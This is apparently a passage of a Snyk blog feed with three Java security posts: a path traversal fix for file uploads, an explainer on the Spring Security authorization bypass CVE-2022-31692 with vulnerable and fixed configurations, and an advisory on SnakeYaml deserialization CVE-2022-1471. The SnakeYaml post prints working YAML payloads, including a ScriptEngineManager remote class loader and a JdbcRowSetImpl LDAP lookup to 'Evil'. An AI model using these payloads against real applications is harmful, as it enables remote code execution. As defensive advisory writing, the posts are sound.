&lt;p&gt;Snyk Code is a real-time SAST tool that helps Java developers identify vulnerabilities in their applications -- including path traversal in file uploads. The tool uses a static analysis based on an advanced machine learning model to scan your code and identify potential security risks.&lt;/p&gt;

&lt;p&gt;Regarding path traversal, &lt;a href="https://docs.snyk.io/scan-application-%20code/snyk-code" rel="noopener noreferrer"&gt;&lt;em&gt;Snyk Code&lt;/em&gt;&lt;/a&gt; can help you identify places in your code where user-specified file paths are used and proper validation is not in place. For example, when connecting my GitHub repository to Snyk, Snyk Code found the path traversal issue for me in &lt;a href="https://docs.snyk.io/scan-application-%20code/snyk-code/exploring-and-working-with-the-snyk-code-results" rel="noopener noreferrer"&gt;&lt;em&gt;the Web UI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2F_next%2Fimage%2F%3Furl%3Dhttps%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1678125740%252Fblog-mitigating-path-traversal-snyk-code-ui.jpg%26w%3D2560%26q%3D75" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2F_next%2Fimage%2F%3Furl%3Dhttps%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1678125740%252Fblog-mitigating-path-traversal-snyk-code-ui.jpg%26w%3D2560%26q%3D75" alt="Path traversal in Snyk Code visible in the Web UI"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next, I'm using the &lt;a href="https://docs.snyk.io/ide-tools/jetbrains-plugins" rel="noopener noreferrer"&gt;&lt;em&gt;Snyk plugin for IntelliJ IDEA&lt;/em&gt;&lt;/a&gt; with Snyk Code enabled. Scanning on my local machine during development already pinpointed the path traversal problem in my file upload. Additionally, it also gave me some suggestions for possible mitigation actions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2F_ipx%2Fw_2560%2Cq_75%2Fhttps%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1680276999%252Fblog-mitigating-path-traversal-cwe-23.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2F_ipx%2Fw_2560%2Cq_75%2Fhttps%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1680276999%252Fblog-mitigating-path-traversal-cwe-23.jpg" alt="Snyk Code analysis in IntelliJ IDEA"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By using Snyk Code, you can proactively identify and fix these path traversal vulnerabilities before they are exploited, helping to ensure the security of your application and the data it handles.&lt;/p&gt;

&lt;p&gt;In summary, Snyk Code helps Java developers identify path traversal vulnerabilities in file uploads by scanning their code and identifying areas where proper validation is not in place. This can help ensure the security of your application and protect against potential attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigating path traversal in file uploads
&lt;/h2&gt;

&lt;p&gt;The easiest way to fix a path traversal vulnerability is to avoid using the &lt;code&gt;file.getOriginalFilename()&lt;/code&gt;. If you generate a name yourself, you have absolute control over the location the file gets stored because it is influenced by user input.&lt;/p&gt;

&lt;p&gt;However, if you want to preserve the original file's name, we need to check if the location where the file gets stored is where we want it to be. Snyk Code (see the IDE plugin example) already hinted that we can normalize path.&lt;/p&gt;

&lt;p&gt;Let's change our previous example to check if the normalized path at least starts with our intended upload folder. This way, we prevent path traversal issues.&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;

&lt;p&gt;&lt;span class="nd"&gt;@PostMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/uploadimage"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;br&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;uploadImage&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Model&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nd"&gt;@RequestParam&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;MultipartFile&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;br&gt;
   &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOriginalFilename&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;" "&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;&lt;br&gt;
   &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;fileNameAndPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Paths&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;UPLOAD_DIRECTORY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;fileNameAndPath&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;normalize&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;UPLOAD_DIRECTORY&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;br&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IOException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Could not upload file: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;&lt;br&gt;
   &lt;span class="o"&gt;}&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class="nc"&gt;Files&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileNameAndPath&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;&lt;br&gt;
   &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"msg"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Uploaded images: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;&lt;br&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"person/upload"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;}&lt;/span&gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Preventing path traversal vulnerabilities is essential.&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;Path traversal vulnerabilities are a serious threat to the security of Java web applications, and are currently among the top security issues Snyk finds in Java code. Developers need to be aware of and understand how to prevent them. By implementing proper validation and using tools like Snyk Code to identify potential vulnerabilities, developers can help ensure the security of their applications and protect against the risks of path traversal attacks. It's vital to remember that security is an ongoing process, and staying aware and proactive in identifying and mitigating vulnerabilities is key to maintaining the security of your Java applications.&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>snyk</category>
      <category>codequality</category>
    </item>
    <item>
      <title>Exploring the Spring Security authorization bypass (CVE-2022-31692)</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Thu, 15 Dec 2022 21:19:20 +0000</pubDate>
      <link>https://forem.com/snyk/exploring-the-spring-security-authorization-bypass-cve-2022-31692-3eig</link>
      <guid>https://forem.com/snyk/exploring-the-spring-security-authorization-bypass-cve-2022-31692-3eig</guid>
      <description>&lt;p&gt;In early November, a &lt;a href="https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKSECURITY-3092126" rel="noopener noreferrer"&gt;new authorization bypass vulnerability&lt;/a&gt; was found in Spring Security 5. Now, before we panic let’s look into this problem to see if you are vulnerable. Although the vulnerability is classified as &lt;strong&gt;high&lt;/strong&gt; , there is only a specific set of use cases that are vulnerable. This means that not everyone is vulnerable, and I will show that in a second. Regardless, the advice is to upgrade to the newer version of the Spring Security. This would be version &lt;code&gt;5.6.9&lt;/code&gt; or beyond or &lt;code&gt;5.7.5&lt;/code&gt; and beyond.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is an authorization bypass
&lt;/h2&gt;

&lt;p&gt;Basically, the name very accurate. Say we have a webpage in our Spring Boot application that should only be accessible for users that are configured to have the admin role. An authorization bypass means that a non-admin user could access that page in certain use cases without having this admin role (or better). Obviously, this is unwanted and can lead to a number of things including data leaks and unauthorized changing, creating, or deleting data. &lt;/p&gt;

&lt;h2&gt;
  
  
  How does this Spring Security authorization bypass work?
&lt;/h2&gt;

&lt;p&gt;With Spring Security, it is possible to create a SecurityFilterChain to set permission for specific endpoints. In newer versions of Spring, it looks something like this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

@Bean
  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
  http
     .authorizeHttpRequests((authorize) -&amp;gt; authorize
        .antMatchers("/").permitAll()
        .antMatchers("/forward").permitAll()
        .antMatchers("/admin").hasAuthority("ROLE_ADMIN")
        .shouldFilterAllDispatcherTypes(true)
     )
     .httpBasic().and()
     .userDetailsService(userDetailsService());
      return http.build();
  }


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In this example above, I used the &lt;code&gt;antMatchers&lt;/code&gt; to set the permissions of the URL patterns irrespective of the HTTP method. Everyone has access to &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;/forward&lt;/code&gt;. Only users with the admin role have access to &lt;code&gt;/admin&lt;/code&gt; URL.&lt;/p&gt;

&lt;p&gt;So far, so good. Nothing fancy going in and it works like a charm. Now let’s take a look at the implementation of the forward endpoint in my controller.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

@GetMapping("/forward")
public String redirect() {
  return "forward:/admin";
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In the implementation above, the &lt;code&gt;forward&lt;/code&gt; endpoint forwards the request to the &lt;code&gt;admin&lt;/code&gt; endpoint. Next to this, I added all dispatcher types to my Spring Security configuration, as only &lt;code&gt;request&lt;/code&gt;, &lt;code&gt;async&lt;/code&gt;, and &lt;code&gt;error&lt;/code&gt; are covered by default. I added the following line in the &lt;code&gt;application.properties&lt;/code&gt; of my Spring Boot application.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

spring.security.filter.dispatcher-types = request, error, async, forward, include


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;While you might assume that this is fine and that the &lt;code&gt;admin&lt;/code&gt; endpoint is covered in the filters, it turns out that I now can access the &lt;code&gt;admin&lt;/code&gt; endpoint via &lt;code&gt;/forward&lt;/code&gt; without having the admin role or logging in at all. Even though we explicitly added &lt;code&gt;forward&lt;/code&gt; to our configuration and enable &lt;code&gt;shouldFilterAllDispatcherTypes()&lt;/code&gt;, we can still access the admin page. By using forward and including all dispatch types, it is possible to bypass authorization and get access to a higher privilege-secured endpoint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-spring-security-auth-bypass-1240x833.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-spring-security-auth-bypass-1240x833.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reason this is possible in Spring Security 5, the default behavior is to not apply the filters more than once to a request. Therefore, users have to configure Spring Security to do that explicitly. In addition, the &lt;code&gt;FilterChainProxy&lt;/code&gt; is also not configured to be invoked on forward and include dispatcher types.&lt;/p&gt;

&lt;h3&gt;
  
  
  The problem also occurs in older versions of Spring Security 5
&lt;/h3&gt;

&lt;p&gt;If you are running an older version of a Spring application, you most likely have an older version of Spring Security as well. An old Spring Boot application I maintain for workshops is based on version &lt;code&gt;2.2.0-RELEASE&lt;/code&gt;, which ships with Spring Security &lt;code&gt;5.2.0-RELEASE&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
In these older versions, we had to configure security a bit differently. We had to create a configuration class that extends the &lt;code&gt;WebSecurityConfigurerAdapter&lt;/code&gt; interface and overwrite the &lt;code&gt;configure()&lt;/code&gt; method to implement similar filters as mentioned previously.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {

   @Override
   protected void configure(HttpSecurity http) throws Exception {
       http
               .authorizeRequests()
               .antMatchers("/").permitAll()
               .antMatchers("/forward").permitAll()
               .antMatchers("/admin").hasAuthority("ROLE_ADMIN");
   }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In the example above we recreated a similar vulnerability as before. Basically, we are using the same filter chain where the problem occurs.&lt;/p&gt;

&lt;h2&gt;
  
  
  How problematic is this issue in Spring Security
&lt;/h2&gt;

&lt;p&gt;As always, it depends on how you use it. Although &lt;a href="https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKSECURITY-3092126" rel="noopener noreferrer"&gt;CVE-2022-31692&lt;/a&gt; has a 9.8 ( &lt;strong&gt;critical&lt;/strong&gt; ) score according to the National Vulnerability Database (NVD), at Snyk we score it a bit lower at 7.4 which makes it a high-severity vulnerability.&lt;/p&gt;

&lt;p&gt;Although the vulnerability is pretty easy to exploit and widely available, only a specific set of use cases are actually vulnerable. If you are depending on the &lt;code&gt;forward&lt;/code&gt; and &lt;code&gt;include&lt;/code&gt; dispatch types and you are using the &lt;code&gt;AuthorizationFilters&lt;/code&gt; like in the examples above, you could have an issue. If in these dispatch types you call an endpoint that has a higher privilege level &lt;strong&gt;and&lt;/strong&gt; you use the &lt;code&gt;AuthorizationFilter&lt;/code&gt; to specify privileges, this might indeed end up in authorization bypass.&lt;/p&gt;

&lt;p&gt;So this means there are a lot of prerequisites before you are actually impacted by this vulnerability. For a full list please check &lt;a href="https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKSECURITY-3092126" rel="noopener noreferrer"&gt;our advisory&lt;/a&gt; on this security issue in the &lt;a href="https://security.snyk.io" rel="noopener noreferrer"&gt;Snyk Vulnerability Database&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you can do to mitigate this security problem
&lt;/h2&gt;

&lt;p&gt;The best and easiest way to fix this is to update your Spring Security version to &lt;code&gt;5.7.5&lt;/code&gt; or beyond. If you are still on the &lt;code&gt;5.6.x&lt;/code&gt; branch, this problem is fixed in &lt;code&gt;5.6.9&lt;/code&gt;. If you are working with a Spring Boot application, the best thing you can do is update to Spring Boot version &lt;code&gt;2.7.6&lt;/code&gt; (or beyond) which automatically includes the correct Spring Security version if you are using that.&lt;/p&gt;

&lt;p&gt;If you cannot update, you can change your filter definition from &lt;code&gt;authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)&lt;/code&gt; to &lt;code&gt;.authorizeRequests().filterSecurityInterceptorOncePerRequest(false)&lt;/code&gt;. This will ensure that the forward dispatch-type is filtered as expected.&lt;/p&gt;

&lt;p&gt;When rewriting the first example in this blog post, the fix looks like this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

@Configuration
public class SecurityConfig {

   @Bean
   public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
       http
               .authorizeRequests()
               .filterSecurityInterceptorOncePerRequest(false)
               .antMatchers("/").permitAll()
               .antMatchers("/forward").permitAll()
               .antMatchers("/admin").hasAuthority("ROLE_ADMIN")
               .and()
               .httpBasic().and()
               .userDetailsService(userDetailsService());
       return http.build();
   }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In a similar way, we can add the &lt;code&gt;.filterSecurityInterceptorOncePerRequest(false)&lt;/code&gt; in the old way of defining a filter where we had to extend &lt;code&gt;WebSecurityConfigurerAdapter&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Update your dependencies to stay secure
&lt;/h2&gt;

&lt;p&gt;This shows again that keeping your dependencies up to date is crucial. When a security issue like this hits your application and your dependencies are outdated, it will cause you significantly more effort to mitigate the situation. When using SCA scanning capabilities — like from &lt;a href="https://snyk.io/product/open-source-security-management/" rel="noopener noreferrer"&gt;Snyk Open Source&lt;/a&gt; — you will have this information and remediation advice as soon as it is available. You can use Snyk for free, and specifically for Java development, I wrote an easy article on &lt;a href="https://snyk.io/blog/snyk-for-secure-java-development/" rel="noopener noreferrer"&gt;how to get started&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure your dependencies for free
&lt;/h2&gt;

&lt;p&gt;Find and automatically fix vulnerable dependencies your apps for free.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://app.snyk.io/login?cta=sign-up&amp;amp;loc=body&amp;amp;page=exploring-the-spring-security-authorization-bypass-cve-2022-31692" rel="noopener noreferrer"&gt;Sign up for free&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471)</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Tue, 13 Dec 2022 19:51:38 +0000</pubDate>
      <link>https://forem.com/snyk/unsafe-deserialization-vulnerability-in-snakeyaml-cve-2022-1471-4eke</link>
      <guid>https://forem.com/snyk/unsafe-deserialization-vulnerability-in-snakeyaml-cve-2022-1471-4eke</guid>
      <description>&lt;p&gt;SnakeYaml is a well-known YAML 1.1 parser and emitter for Java. Recently, a vulnerability — &lt;a href="https://www.cve.org/CVERecord?id=CVE-2022-1471" rel="noopener noreferrer"&gt;CVE-2022-1471&lt;/a&gt; — was reported for this package. This vulnerability can lead to arbitrary code execution. The &lt;code&gt;org.yaml:snakeyaml&lt;/code&gt; package is widely used in the Java ecosystem, in part because it is packaged by default with Spring Boot in the &lt;code&gt;spring-boot-starter&lt;/code&gt;. In this article, we look into the security vulnerability affecting this Java library, discuss the potential hazardous impact it may have on your applications, and weigh the actual risks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the SnakeYaml security vulnerability?
&lt;/h2&gt;

&lt;p&gt;The SnakeYaml library for Java is vulnerable to arbitrary code execution due to a flaw in its Constructor class. The class does not restrict which types can be &lt;a href="https://learn.snyk.io/lessons/insecure-deserialization/java/" rel="noopener noreferrer"&gt;deserialized&lt;/a&gt;, allowing an attacker to provide a malicious YAML file for deserialization and potentially exploit the system. Thus this flaw leads to an insecure deserialization issue that can result in arbitrary code execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the SnakeYaml vulnerability looks like
&lt;/h2&gt;

&lt;p&gt;Deserializing or marshaling YAML is quite easy with SnakeYaml. Typically you do something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Yaml yaml = new Yaml();
File file = new File("file.yaml");
InputStream inputStream = new FileInputStream(file);
User user = yaml.load(inputStream);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When loading the YAML from the file in the example above, the input gets parsed to the generic &lt;code&gt;Object.class&lt;/code&gt;, which is the supertype of all &lt;code&gt;Object&lt;/code&gt; in Java. In our code, we expect a &lt;code&gt;User&lt;/code&gt; object, but the casting happens after the &lt;code&gt;Object&lt;/code&gt; is loaded into memory. Because of the generic &lt;code&gt;Object&lt;/code&gt; type, any object can be used. This can lead to arbitrary code execution if there is a &lt;em&gt;gadget&lt;/em&gt; or &lt;em&gt;gadget chain&lt;/em&gt; available in the classpath of the application. &lt;/p&gt;

&lt;p&gt;This is similar to what issues we’ve explored in the articles &lt;a href="https://snyk.io/blog/serialization-and-deserialization-in-java/" rel="noopener noreferrer"&gt;Serialization and deserialization in Java&lt;/a&gt; and &lt;a href="https://snyk.io/blog/java-json-deserialization-problems-jackson-objectmapper/" rel="noopener noreferrer"&gt;Java JSON deserialization problems with the Jackson ObjectMapper&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  SnakeYaml vulnerability demo
&lt;/h2&gt;

&lt;p&gt;To demonstrate the vulnerable scenario, I deliberately created a &lt;em&gt;gadget class&lt;/em&gt;. A &lt;em&gt;gadget&lt;/em&gt; is a class that has a side effect when instantiated, either doing something directly or initiating a &lt;em&gt;gadget chain&lt;/em&gt;. In this case, the gadget executes a given command when the constructor is called.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Gadget {
   private Runnable command;

   public Gadget(String value) {
       this.command = new Command(value);
       this.command.run();
   }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When this Java class is available, and I deserialize my YAML with the code given earlier, I can feed it the following content in the YAML file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means I am allowed to specifically target any Java class with SnakeYaml that is available in the classpath. Because the class is already in my classpath, and SnakeYaml creates the object regardless of the intended class, I will end up with a &lt;code&gt;ClassCastException&lt;/code&gt;. However, the harm is already done, and the command is executed. Having a gadget or gadget chain available in your classpath can lead to disastrous situations, like a &lt;a href="https://snyk.io/blog/reverse-shell-attack/" rel="noopener noreferrer"&gt;reverse shell attack&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How bad is the SnakeYaml vulnerability in real-world applications?
&lt;/h2&gt;

&lt;p&gt;It’s unlikely that anyone will create a gadget the way we did in the example above. However, bringing in third-party libraries does increase your chances of having gadgets that were &lt;em&gt;created by other people&lt;/em&gt; in that manner &lt;em&gt;present in your code&lt;/em&gt;. A quick look at the &lt;a href="https://github.com/frohoff/ysoserial" rel="noopener noreferrer"&gt;ysoserial GitHub repo&lt;/a&gt;, or the list of possible &lt;a href="https://security.snyk.io/vuln/maven?search=jackson-databind" rel="noopener noreferrer"&gt;deserialization issues in the jackson-databind&lt;/a&gt; JSON marshaling library, shows that the risk potential is high. The difference with jackson-databind is that jackson does not by default enable &lt;code&gt;defaultTyping&lt;/code&gt; (as we described in our &lt;a href="https://security.snyk.io/vuln/maven?search=jackson-databind" rel="noopener noreferrer"&gt;prior vulnerability mention&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Malicious actors can also use some of the classes within the JDK to do some damage. For example,  the &lt;code&gt;ScriptEngine&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This YAML input connects to a URL that can download harmful content into your application, as explained in &lt;a href="https://www.websec.ca/publication/Blog/CVE-2022-21404-Another-story-of-developers-fixing-vulnerabilities-unknowingly-because-of-CodeQL" rel="noopener noreferrer"&gt;this Websec article&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Another example (depending on the Java version you are running) is the &lt;code&gt;JdbcRowSetImpl&lt;/code&gt; class, which can leverage an LDAP request to do a lookup. This can enable similar risks as we have seen with &lt;a href="https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-44228/" rel="noopener noreferrer"&gt;Log4Shell not so long ago&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:9999/Evil"
autoCommit: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For more information, take a look at the SnakeYaml &lt;a href="https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in" rel="noopener noreferrer"&gt;Bitbucket issue&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Am I impacted by the SnakeYaml vulnerability?
&lt;/h2&gt;

&lt;p&gt;Whether you are impacted depends on &lt;em&gt;how&lt;/em&gt; you use this library. If you are loading custom YAML data from other sources in a similar way to the use of XML and JSON objects, you might be vulnerable! The general rule is that you should not accept these inputs from unknown sources.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In most cases, SnakeYaml will be used by other frameworks like Spring or Helidon to read YAML configurations that are already part of your system. If malicious actors are able to alter these configuration files, you have a different and probably larger problem. So I, personally, don’t think this has a huge impact. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The maintainers of the library dispute the risk associated with this issue. Nevertheless, we simply can’t predict how people are using a library like this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proposed mitigation of SnakeYaml vulnerability
&lt;/h2&gt;

&lt;p&gt;As of publication, there is not a new version of this package available. The maintainers did accept a &lt;a href="https://bitbucket.org/snakeyaml/snakeyaml/pull-requests/39" rel="noopener noreferrer"&gt;Git pull request&lt;/a&gt; that introduces a blocklist for specific artifacts to be deserialized. This is expected to be available in the 1.34 release. For now, it looks like there will be no generic fix for the default behavior. &lt;/p&gt;

&lt;p&gt;Note that the SnakeYaml documentation states: _ &lt;strong&gt;It is not safe to call&lt;/strong&gt; &lt;code&gt;Yaml.load()&lt;/code&gt; &lt;strong&gt;with any data received from an untrusted source!&lt;/strong&gt; The method &lt;code&gt;Yaml.load()&lt;/code&gt; converts a YAML document to a Java object._&lt;/p&gt;

&lt;p&gt;Used by default, as shown below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Yaml yaml = new Yaml(new SafeConstructor());
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Always scan your dependencies
&lt;/h2&gt;

&lt;p&gt;As you already know, most of the code in your applications comes from third-party libraries. And since no developer has the time to review all of the code in those libraries, it’s important to scan your dependencies for known vulnerabilities. Snyk makes it easy with real-time scanning, actionable fix advice, and priority scoring so you can maximize the impact of your remediation efforts. &lt;a href="https://app.snyk.io" rel="noopener noreferrer"&gt;Start your free account today&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure your third-party dependencies
&lt;/h2&gt;

&lt;p&gt;Find and automatically fix vulnerable open source dependencies for free.&lt;/p&gt;

